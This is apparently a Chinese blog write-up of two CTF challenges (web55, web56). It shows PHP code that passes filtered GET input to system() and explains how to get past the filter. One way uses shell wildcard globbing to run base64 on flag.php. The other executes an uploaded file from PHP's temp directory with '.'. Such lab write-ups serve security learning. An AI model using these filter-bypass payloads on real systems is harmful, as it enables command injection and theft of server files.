最近在做这系列的题,这两题又学到了新姿势,赶紧记录一下

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母,不过通配符?和数字没有过滤,可以用bin下的base64命令(为啥用base64?因为它含有数字64可以用????64来匹配,其他命令无法匹配到)

解法1

正常的命令为/bin/base64 flag.php
过滤了字母后用?匹配
payload:c=/???/????64 ????????

在这里插入图片描述

base64解密即得到flag

解法2

参考了Firebasky师傅的wp以及p神的文章

在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。
但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
这里说下为什么要匹配大写字母,因为其实用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。
分析完毕,接下来开始操作
首先需要上传一个文件,这需要构造一个post上传文件的数据包,但这在我的知识盲区。。。所以本菜鸡还是选择用postman来上传文件。
在这里插入图片描述

2.php中的内容为

#!/bin/sh
ls

可以看到有flag.php,将文件内容改为

#!/bin/sh
cat flag.php

重新上传
在这里插入图片描述

成功拿到flag

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在上题的基础上连数字也过滤了,所以不能用解法1的payload,但解法2依然可以
在这里插入图片描述

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏